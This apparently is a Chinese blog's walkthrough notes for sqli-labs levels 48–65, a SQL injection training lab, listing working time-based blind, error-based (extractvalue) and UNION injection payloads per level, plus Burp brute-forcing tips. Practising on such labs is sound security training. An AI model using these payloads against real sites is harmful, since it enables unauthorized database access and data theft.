sqllab第48-65关通关笔记

48关知识点:
  • 数值型注入
  • 时间盲注
    • payload:sort=1%20and%20if((mid(database(),1,1)=%27a%27),sleep(3),0)=1
    • 利用bp抓包放到爆破模块中进行爆破
49关知识点:
  • 字符型注入
  • 时间盲注
    • payload:sort=1'%20and%20if((mid(database(),1,1)=%27a%27),sleep(3),0)='1
    • 利用bp抓包放到爆破模块中进行爆破
50关知识点:
  • 数值型注入
  • 报错注入
    • payload:sort=1%20and%20extractvalue(1,concat(0x7e,database(),0x7e))
  • 时间盲注
51关知识点:
  • 字符型注入
  • 报错注入
    • payload:sort=1%27and%20extractvalue(1,concat(0x7e,database(),0x7e))=%27
52关知识点:
  • 数值型注入
  • 时间盲注
    • payload:sort=1%20and%20if((mid(database(),1,1)=%27a%27),sleep(1),0)
    • 通过bp进行爆破处数据库信息
53关知识点:
  • 字符型注入
  • 时间盲注
    • payload:sort=1%27and%20if((mid(database(),1,1)=%27s%27),sleep(1),0)=%271
    • 通过bp进行爆破
54关知识点:
  • 字符型注入
    • 单纯的单引号闭合
  • 联合注入
    • payload:id=0%27%20union%20select%201,database(),3%20%27
    • 获取数据库名后可以尝试获取表名、字段名和数据(5次以内就能找到密钥)

55关知识点:
  • 数值型注入
    • 括号闭合  (id)
  • 联合注入
    • payload:id=0)%20union%20select%201,database(),3%20--+
    • 获取数据库名后可以尝试获取表名、字段名和数据信息
56关知识点:
  • 字符型注入
    • 单引号+括号闭合
  • 联合注入
    • payload:id=0%27)union%20select%201,database(),3%20--+
    • 同上
57关知识点:
  • 字符型注入
    • 双引号闭合
  • 联合注入
    • payload:id=0"%20union%20select%201,database(),3%20"
    • 同上
58关知识点:
  • 字符型注入
    • 单引号闭合
  • 报错注入
    • payload:id=1%27 and extractvalue(1,concat(0x7e,database(),0x7e))=1 --+
    • 接着可以进行表名、字段名、数据信息的读取
59关知识点:
  • 数值型注入
  • 报错注入
    • payload:id=1%20and%20extractvalue(1,concat(0x7e,database(),0x7e))
60关知识点:
  • 字符型注入
    • 双引号+括号注入
  • 报错注入
    • payload:id=1")%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
61关知识点:
  • 字符型注入
    • 单引号+双括号闭合
  • 报错注入
    • payload:id=1%27))%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+

62关知识点:
  • 字符型注入
    • 单引号+括号闭合
  • 时间盲注
    • payload:id=1%27)%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0%20--+
    • 如果爆破的话把sleep()时间设久一点儿,方便过滤
63关知识点:
  • 字符型注入
    • 单引号闭合
  • 时间盲注
    • payload:id=1%27%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0--+
    • 同上
64关知识点:
  • 数值型注入
  • 时间盲注
    • payload:id=1%20and%20if((mid(database(),1,1)=%27c%27),sleep(2),0)=0%20
65关知识点:
  • 字符型注入
    • 双引号+括号闭合
  • 时间盲注
    • payload:id=1")%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0%20--+

10

相关推荐

  1. sqllab48-65通关笔记

    2024-03-22 16:58:03       43 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-22 16:58:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-22 16:58:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-22 16:58:03       82 阅读
  4. Python语言-面向对象

    2024-03-22 16:58:03       91 阅读

热门阅读

  1. MyBatis面试系列-01

    2024-03-22 16:58:03       39 阅读
  2. 【安全类书籍-5】黑客大曝光

    2024-03-22 16:58:03       35 阅读
  3. spring boot切面execution表达式添加多个包路径

    2024-03-22 16:58:03       38 阅读
  4. Mysql迁移至达梦所遇问题汇总

    2024-03-22 16:58:03       39 阅读
  5. 【React】React组件的导入与导出

    2024-03-22 16:58:03       42 阅读
  6. [Qt学习笔记]Qt线程间数据通讯及数据共享

    2024-03-22 16:58:03       35 阅读
  7. 多线程(3)线程基本状态

    2024-03-22 16:58:03       45 阅读
  8. c++算法学习笔记 (16) 约数

    2024-03-22 16:58:03       43 阅读
  9. AI大模型学习:挑战与机遇

    2024-03-22 16:58:03       41 阅读
  10. Ubuntu自启GUI程序

    2024-03-22 16:58:03       37 阅读